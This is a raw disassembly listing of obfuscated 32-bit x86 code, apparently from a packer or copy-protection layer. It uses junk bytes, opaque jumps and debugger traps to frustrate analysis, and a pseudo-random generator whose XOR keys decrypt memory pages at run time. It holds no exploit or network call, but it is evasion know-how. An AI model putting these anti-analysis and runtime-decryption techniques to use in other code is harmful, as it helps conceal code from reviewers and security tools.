loc_4BCC75: ; CODE XREF: .text:004BCC96j
jmp short loc_4BCC94
; ---------------------------------------------------------------------------
loc_4BCC77: ; CODE XREF: .text:loc_4BCC94j
xor ecx, ecx
loc_4BCC79: ; CODE XREF: .text:004BCC88j
jz short $+2
jmp short loc_4BCC8D
; ---------------------------------------------------------------------------
loc_4BCC7D: ; CODE XREF: .text:004BCC91j
stc
xor ecx, 3
jz short near ptr loc_4BCC10+3
jmp short loc_4BCC8A
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BCC86: ; CODE XREF: .text:loc_4BCC8Aj
jmp short loc_4BCC98
; ---------------------------------------------------------------------------
jz short loc_4BCC79
loc_4BCC8A: ; CODE XREF: .text:004BCC83j
jnb short loc_4BCC86
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BCC8D: ; CODE XREF: .text:004BCC7Bj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BCC7D
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BCC94: ; CODE XREF: .text:loc_4BCC75j
jmp short loc_4BCC77
; ---------------------------------------------------------------------------
jmp short loc_4BCC75
; ---------------------------------------------------------------------------
loc_4BCC98: ; CODE XREF: .text:loc_4BCC86j
repne sbb al, 0DBh
jmp short loc_4BCCA0
; ---------------------------------------------------------------------------
loc_4BCC9D: ; CODE XREF: .text:004BCC70j
jmp short near ptr loc_4BCC70+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BCCA0: ; CODE XREF: .text:004BCC9Bj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov dword ptr [ebp-64h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-58h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-54h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-60h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-5Ch], edx
mov ecx, [ebp-54h]
imul ecx, [ebp-5Ch]
mov edx, [ebp-58h]
imul edx, [ebp-5Ch]
mov eax, [ebp-54h]
imul eax, [ebp-60h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-64h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-50h], eax
mov dword ptr [ebp-78h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-6Ch], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-68h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-74h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-70h], edx
mov ecx, [ebp-68h]
imul ecx, [ebp-70h]
mov edx, [ebp-6Ch]
imul edx, [ebp-70h]
mov eax, [ebp-68h]
imul eax, [ebp-74h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-78h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-44h], eax
mov dword ptr [ebp-8Ch], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-80h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-7Ch], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-88h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-84h], edx
mov ecx, [ebp-7Ch]
imul ecx, [ebp-84h]
mov edx, [ebp-80h]
imul edx, [ebp-84h]
mov eax, [ebp-7Ch]
imul eax, [ebp-88h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-8Ch]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-48h], eax
mov dword ptr [ebp-0A0h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-94h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-90h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-9Ch], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-98h], edx
mov ecx, [ebp-90h]
imul ecx, [ebp-98h]
mov edx, [ebp-94h]
imul edx, [ebp-98h]
mov eax, [ebp-90h]
imul eax, [ebp-9Ch]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-0A0h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-4Ch], eax
mov edx, [ebp-48h]
shl edx, 8
mov eax, [ebp-44h]
shl eax, 10h
mov ecx, [ebp-50h]
shl ecx, 18h
or ecx, eax
or ecx, edx
or ecx, [ebp-4Ch]
mov edx, [ebp+0Ch]
mov eax, [edx]
xor eax, ecx
mov ecx, [ebp+0Ch]
mov [ecx], eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BCFEF
loc_4BCFEC: ; CODE XREF: .text:004BD00Dj
jmp short near ptr loc_4BD00F+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BCFEF: ; CODE XREF: .text:004BCFEAj
xor ebx, ebx
jz short $+2
jmp short loc_4BD002
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BCFF8: ; CODE XREF: .text:004BD004j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BD006
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD002: ; CODE XREF: .text:004BCFF3j
xor eax, eax
jz short loc_4BCFF8
loc_4BD006: ; CODE XREF: .text:004BCFFFj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BCFEC
loc_4BD00F: ; CODE XREF: .text:loc_4BCFECj
jmp near ptr 92B26D75h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov edx, [ebp+0Ch]
mov eax, [edx]
xor eax, dword_4ED41C
xor eax, dword_4ED424
xor eax, dword_4ED3EC
xor eax, dword_4ED428
xor eax, dword_4ED3AC
mov [ebp-1Ch], eax
jo short loc_4BD047
jl short loc_4BD045
loc_4BD042: ; CODE XREF: .text:loc_4BD045j
; .text:loc_4BD047j
jmp short loc_4BD049
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BD045: ; CODE XREF: .text:004BD040j
jz short loc_4BD042
loc_4BD047: ; CODE XREF: .text:004BD03Ej
jmp short loc_4BD042
; ---------------------------------------------------------------------------
loc_4BD049: ; CODE XREF: .text:loc_4BD042j
; .text:004BD067j
mov ecx, [ebp-4]
cmp ecx, [ebp-0Ch]
jnb short loc_4BD069
mov edx, [ebp-4]
mov eax, [edx]
xor eax, [ebp-1Ch]
mov ecx, [ebp-4]
mov [ecx], eax
mov edx, [ebp-4]
add edx, 4
mov [ebp-4], edx
jmp short loc_4BD049
; ---------------------------------------------------------------------------
loc_4BD069: ; CODE XREF: .text:004BD04Fj
jo short loc_4BD072
jl short loc_4BD070
loc_4BD06D: ; CODE XREF: .text:loc_4BD070j
; .text:loc_4BD072j
jmp short loc_4BD074
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BD070: ; CODE XREF: .text:004BD06Bj
jz short loc_4BD06D
loc_4BD072: ; CODE XREF: .text:loc_4BD069j
jmp short loc_4BD06D
; ---------------------------------------------------------------------------
loc_4BD074: ; CODE XREF: .text:loc_4BD06Dj
mov eax, [ebp+8]
mov ecx, dword_4F4774
mov edx, [ecx+eax*4]
and edx, 0FFFFFFFEh
mov eax, [ebp+8]
mov ecx, dword_4F4774
mov [ecx+eax*4], edx
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
loc_4BD0A6: ; CODE XREF: .text:004BD114j
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BD0B2
loc_4BD0AF: ; CODE XREF: .text:004BD0D0j
jmp short near ptr loc_4BD0D2+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD0B2: ; CODE XREF: .text:004BD0ADj
xor ebx, ebx
jz short $+2
jmp short loc_4BD0C5
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BD0BB: ; CODE XREF: .text:004BD0C7j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BD0C9
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD0C5: ; CODE XREF: .text:004BD0B6j
xor eax, eax
jz short loc_4BD0BB
loc_4BD0C9: ; CODE XREF: .text:004BD0C2j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BD0AF
loc_4BD0D2: ; CODE XREF: .text:loc_4BD0AFj
jmp near ptr 92B26E38h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
xor edx, edx
mov dl, byte_4F4780
test edx, edx
jz short loc_4BD0F2
mov eax, [ebp-18h]
or ah, 1
mov [ebp-10h], eax
jmp short loc_4BD0F9
; ---------------------------------------------------------------------------
loc_4BD0F2: ; CODE XREF: .text:004BD0E5j
mov dword ptr [ebp-10h], 1
loc_4BD0F9: ; CODE XREF: .text:004BD0F0j
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BD130 ; CODE XREF: .text:loc_4BD130j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BD108: ; CODE XREF: .text:004BD129j
jmp short loc_4BD127
; ---------------------------------------------------------------------------
loc_4BD10A: ; CODE XREF: .text:loc_4BD127j
xor ecx, ecx
loc_4BD10C: ; CODE XREF: .text:004BD11Bj
jz short $+2
jmp short loc_4BD120
; ---------------------------------------------------------------------------
loc_4BD110: ; CODE XREF: .text:004BD124j
stc
xor ecx, 3
jz short loc_4BD0A6
jmp short loc_4BD11D
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BD119: ; CODE XREF: .text:loc_4BD11Dj
jmp short loc_4BD12B
; ---------------------------------------------------------------------------
jz short loc_4BD10C
loc_4BD11D: ; CODE XREF: .text:004BD116j
jnb short loc_4BD119
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BD120: ; CODE XREF: .text:004BD10Ej
sbb bl, bl
xor ebx, ebx
jmp short loc_4BD110
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BD127: ; CODE XREF: .text:loc_4BD108j
jmp short loc_4BD10A
; ---------------------------------------------------------------------------
jmp short loc_4BD108
; ---------------------------------------------------------------------------
loc_4BD12B: ; CODE XREF: .text:loc_4BD119j
repne sbb al, 0DBh
jmp short loc_4BD133
; ---------------------------------------------------------------------------
loc_4BD130: ; CODE XREF: .text:004BD103j
jmp short near ptr loc_4BD103+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BD133: ; CODE XREF: .text:004BD12Ej
popa
popf
bswap eax
not ecx
bswap eax
not ecx
xor ecx, ecx
mov cl, byte_4F4781
test ecx, ecx
jz loc_4BD4DE
mov dword ptr [ebp-0C4h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0B8h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0B4h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0C0h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0BCh], edx
mov ecx, [ebp-0B4h]
imul ecx, [ebp-0BCh]
mov edx, [ebp-0B8h]
imul edx, [ebp-0BCh]
mov eax, [ebp-0B4h]
imul eax, [ebp-0C0h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-0C4h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-0B0h], eax
mov dword ptr [ebp-0D8h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0CCh], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0C8h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0D4h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0D0h], edx
mov ecx, [ebp-0C8h]
imul ecx, [ebp-0D0h]
mov edx, [ebp-0CCh]
imul edx, [ebp-0D0h]
mov eax, [ebp-0C8h]
imul eax, [ebp-0D4h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-0D8h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-0A4h], eax
mov dword ptr [ebp-0ECh], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0E0h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0DCh], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0E8h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0E4h], edx
mov ecx, [ebp-0DCh]
imul ecx, [ebp-0E4h]
mov edx, [ebp-0E0h]
imul edx, [ebp-0E4h]
mov eax, [ebp-0DCh]
imul eax, [ebp-0E8h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-0ECh]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-0A8h], eax
mov dword ptr [ebp-100h], 100h
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0F4h], eax
mov eax, dword_4F4738
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0F0h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0FCh], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-0F8h], edx
mov ecx, [ebp-0F0h]
imul ecx, [ebp-0F8h]
mov edx, [ebp-0F4h]
imul edx, [ebp-0F8h]
mov eax, [ebp-0F0h]
imul eax, [ebp-0FCh]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov dword_4F4738, edx
mov eax, dword_4F4738
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-100h]
xor edx, edx
mov ecx, 2710h
loc_4BD4A0: ; CODE XREF: .text:loc_4BD517j
div ecx
and eax, 0FFh
mov [ebp-0ACh], eax
mov edx, [ebp-0A8h]
shl edx, 8
mov eax, [ebp-0A4h]
shl eax, 10h
mov ecx, [ebp-0B0h]
shl ecx, 18h
or ecx, eax
or ecx, edx
or ecx, [ebp-0ACh]
mov edx, [ebp+0Ch]
mov eax, [edx]
xor eax, ecx
loc_4BD4D9: ; CODE XREF: .text:004BD536j
mov ecx, [ebp+0Ch]
mov [ecx], eax
loc_4BD4DE: ; CODE XREF: .text:004BD147j
jmp loc_4BD952
; ---------------------------------------------------------------------------
loc_4BD4E3: ; CODE XREF: .text:004BCBE4j
mov edx, [ebp+8]
mov eax, dword_4F4774
mov ecx, [eax+edx*4]
and ecx, 2
test ecx, ecx
jnz loc_4BD615
pusha
xor eax, eax
jnz short loc_4BD500
jmp short loc_4BD515
; ---------------------------------------------------------------------------
loc_4BD500: ; CODE XREF: .text:004BD4FCj
jmp short loc_4BD535
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4BD507: ; CODE XREF: .text:loc_4BD515j
jo short loc_4BD517
jmp short near ptr loc_4BD517+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4BD515: ; CODE XREF: .text:004BD4FEj
jz short loc_4BD507
loc_4BD517: ; CODE XREF: .text:loc_4BD507j
; .text:004BD509j ...
jmp short loc_4BD4A0
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 8B6133A0h, 4ED3B015h, 0FC153300h, 33004ED3h, 4ED3F015h
dd 18EAC100h
db 88h
; ---------------------------------------------------------------------------
loc_4BD535: ; CODE XREF: .text:loc_4BD500j
push ebp
loopne loc_4BD4D9
jl short loc_4BD581
dec edi
add [ecx+4D8BDC45h], cl
fadd qword ptr [ecx+1000C1h]
add [ecx+558BD84Dh], cl ; CODE XREF: .text:004BD569j
fdivr qword ptr [ebx]
push ebp
fdiv dword ptr [ebx+18h]
mov eax, [ebp-24h]
mov cl, [eax]
xor cl, [ebp-20h]
mov edx, [ebp-24h]
mov [edx], cl
mov eax, [ebp-24h]
add eax, 1
mov [ebp-24h], eax
jmp short near ptr loc_4BD547+4
; ---------------------------------------------------------------------------
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BD5A2 ; CODE XREF: .text:loc_4BD5A2j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BD57A: ; CODE XREF: .text:004BD59Bj
jmp short loc_4BD599
; ---------------------------------------------------------------------------
loc_4BD57C: ; CODE XREF: .text:loc_4BD599j
xor ecx, ecx
loc_4BD57E: ; CODE XREF: .text:004BD58Dj
jz short $+2
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD581: ; CODE XREF: .text:004BD538j
; .text:004BD596j
adc cl, bh
xor ecx, 3
jz short near ptr loc_4BD517+1
jmp short loc_4BD58F
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BD58B: ; CODE XREF: .text:loc_4BD58Fj
jmp short loc_4BD59D
; ---------------------------------------------------------------------------
jz short loc_4BD57E
loc_4BD58F: ; CODE XREF: .text:004BD588j
jnb short loc_4BD58B
repne sbb bl, bl
xor ebx, ebx
jmp short near ptr loc_4BD581+1
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BD599: ; CODE XREF: .text:loc_4BD57Aj
jmp short loc_4BD57C
; ---------------------------------------------------------------------------
jmp short loc_4BD57A
; ---------------------------------------------------------------------------
loc_4BD59D: ; CODE XREF: .text:loc_4BD58Bj
repne sbb al, 0DBh
jmp short loc_4BD5A5
; ---------------------------------------------------------------------------
loc_4BD5A2: ; CODE XREF: .text:004BD575j
jmp short near ptr loc_4BD575+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BD5A5: ; CODE XREF: .text:004BD5A0j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, [ebp+8]
mov edx, dword_4F4774
mov eax, [edx+ecx*4]
or al, 2
mov ecx, [ebp+8]
mov edx, dword_4F4774
mov [edx+ecx*4], eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BD5EC
loc_4BD5E9: ; CODE XREF: .text:004BD60Aj
jmp short near ptr loc_4BD60C+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD5EC: ; CODE XREF: .text:004BD5E7j
xor ebx, ebx
jz short $+2
jmp short loc_4BD5FF
; ---------------------------------------------------------------------------
dw 0EBB8h
db 0Fh
; ---------------------------------------------------------------------------
loc_4BD5F5: ; CODE XREF: .text:004BD601j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BD603
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD5FF: ; CODE XREF: .text:004BD5F0j
xor eax, eax
jz short loc_4BD5F5
loc_4BD603: ; CODE XREF: .text:004BD5FCj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BD5E9
loc_4BD60C: ; CODE XREF: .text:loc_4BD5E9j
jmp near ptr 92B27372h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
loc_4BD615: ; CODE XREF: .text:004BD4F3j
xor eax, eax
mov al, byte_4F4744
test eax, eax
jz short loc_4BD649
mov byte_4F4744, 0
xor ecx, ecx
mov cl, byte_4F4780
test ecx, ecx
jz short loc_4BD63E
mov edx, [ebp-18h]
or dh, 1
mov [ebp-10h], edx
jmp short loc_4BD644
; ---------------------------------------------------------------------------
loc_4BD63E: ; CODE XREF: .text:004BD631j
mov eax, [ebp-18h]
mov [ebp-10h], eax
loc_4BD644: ; CODE XREF: .text:004BD63Cj
jmp loc_4BD952
; ---------------------------------------------------------------------------
loc_4BD649: ; CODE XREF: .text:004BD61Ej
mov ecx, [ebp+0Ch]
mov edx, [ecx]
xor edx, dword_4ED41C
xor edx, dword_4ED424
xor edx, dword_4ED3EC
xor edx, dword_4ED428 ; CODE XREF: .text:loc_4BD6D9j
xor edx, dword_4ED3AC
mov [ebp-2Ch], edx
loc_4BD66F: ; CODE XREF: .text:004BD68Dj
mov eax, [ebp-4]
cmp eax, [ebp-0Ch]
jnb short loc_4BD68F
mov ecx, [ebp-4]
mov edx, [ecx]
xor edx, [ebp-2Ch]
mov eax, [ebp-4]
mov [eax], edx
mov ecx, [ebp-4]
add ecx, 4
mov [ebp-4], ecx
jmp short loc_4BD66F
; ---------------------------------------------------------------------------
loc_4BD68F: ; CODE XREF: .text:004BD675j
mov edx, [ebp+8]
mov eax, dword_4F4748
cmp dword ptr [eax+edx*4], 0
jz loc_4BD84C
jo short loc_4BD6AA
jl short loc_4BD6A8
loc_4BD6A5: ; CODE XREF: .text:loc_4BD6A8j
; .text:loc_4BD6AAj
jmp short loc_4BD6AC
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BD6A8: ; CODE XREF: .text:004BD6A3j
jz short loc_4BD6A5
loc_4BD6AA: ; CODE XREF: .text:004BD6A1j
jmp short loc_4BD6A5
; ---------------------------------------------------------------------------
loc_4BD6AC: ; CODE XREF: .text:loc_4BD6A5j
mov ecx, [ebp+8]
mov edx, dword_4F4748
mov eax, [edx+ecx*4]
mov [ebp-34h], eax
pusha
xor eax, eax
jnz short loc_4BD6C2
jmp short loc_4BD6D7
; ---------------------------------------------------------------------------
loc_4BD6C2: ; CODE XREF: .text:004BD6BEj
jmp short loc_4BD6F7
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4BD6C9: ; CODE XREF: .text:loc_4BD6D7j
jo short loc_4BD6D9
jmp short near ptr loc_4BD6D9+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4BD6D7: ; CODE XREF: .text:004BD6C0j
jz short loc_4BD6C9
loc_4BD6D9: ; CODE XREF: .text:loc_4BD6C9j
; .text:004BD6CBj
jmp short near ptr loc_4BD660+2
; ---------------------------------------------------------------------------
db 0DBh
dd 33A0F07Ah, 0CC7D8361h, 6840F00h, 51000001h, 0D1F7C90Fh
; CODE XREF: .text:loc_4BD7ECj
dd 0B8D0F750h
db 6Dh, 69h, 65h
; ---------------------------------------------------------------------------
loc_4BD6F7: ; CODE XREF: .text:loc_4BD6C2j
; .text:loc_4BD76Ej
insb
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BD70E
loc_4BD70B: ; CODE XREF: .text:004BD72Cj
jmp short near ptr loc_4BD72E+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD70E: ; CODE XREF: .text:004BD709j
xor ebx, ebx
jz short $+2
jmp short loc_4BD721
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BD717: ; CODE XREF: .text:004BD723j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BD725
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BD721: ; CODE XREF: .text:004BD712j
xor eax, eax
jz short loc_4BD717
loc_4BD725: ; CODE XREF: .text:004BD71Ej
mov eax, 4840C987h
test eax, eax
jnz short loc_4BD70B
loc_4BD72E: ; CODE XREF: .text:loc_4BD70Bj
jmp near ptr 92B27494h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov ecx, [ebp+8]
shl ecx, 0Ch
mov edx, dword_4F4754 ; CODE XREF: .text:004BD7AFj
add edx, ecx
mov eax, [ebp-34h]
mov ecx, [eax+4]
sub ecx, edx
mov [ebp-38h], ecx
pusha
xor eax, eax
jnz short loc_4BD757
jmp short loc_4BD76C
; ---------------------------------------------------------------------------
loc_4BD757: ; CODE XREF: .text:004BD753j
jmp short loc_4BD78C
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4BD75E: ; CODE XREF: .text:loc_4BD76Cj
jo short loc_4BD76E
jmp short near ptr loc_4BD76E+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4BD76C: ; CODE XREF: .text:004BD755j
jz short loc_4BD75E
loc_4BD76E: ; CODE XREF: .text:loc_4BD75Ej
; .text:004BD760j
jmp short loc_4BD6F7
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:558B6133h
int 3 ; Trap to Debugger
mov eax, [edx+8]
push eax
mov ecx, [ebp-34h]
mov edx, [ecx]
push edx
mov eax, dword_4F477C
add eax, [ebp-38h]
push eax
loc_4BD78C: ; CODE XREF: .text:loc_4BD757j
call _memcpy_1
add esp, 0Ch
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BD7CB ; CODE XREF: .text:loc_4BD7CBj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BD7A3: ; CODE XREF: .text:004BD7C4j
jmp short loc_4BD7C2
; ---------------------------------------------------------------------------
loc_4BD7A5: ; CODE XREF: .text:loc_4BD7C2j
xor ecx, ecx
loc_4BD7A7: ; CODE XREF: .text:004BD7B6j
jz short $+2
jmp short loc_4BD7BB
; ---------------------------------------------------------------------------
loc_4BD7AB: ; CODE XREF: .text:004BD7BFj
stc
xor ecx, 3
jz short near ptr loc_4BD73D+4
jmp short loc_4BD7B8
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BD7B4: ; CODE XREF: .text:loc_4BD7B8j
jmp short loc_4BD7C6
; ---------------------------------------------------------------------------
jz short loc_4BD7A7
loc_4BD7B8: ; CODE XREF: .text:004BD7B1j
jnb short loc_4BD7B4
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BD7BB: ; CODE XREF: .text:004BD7A9j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BD7AB
; ---------------------------------------------------------------------------
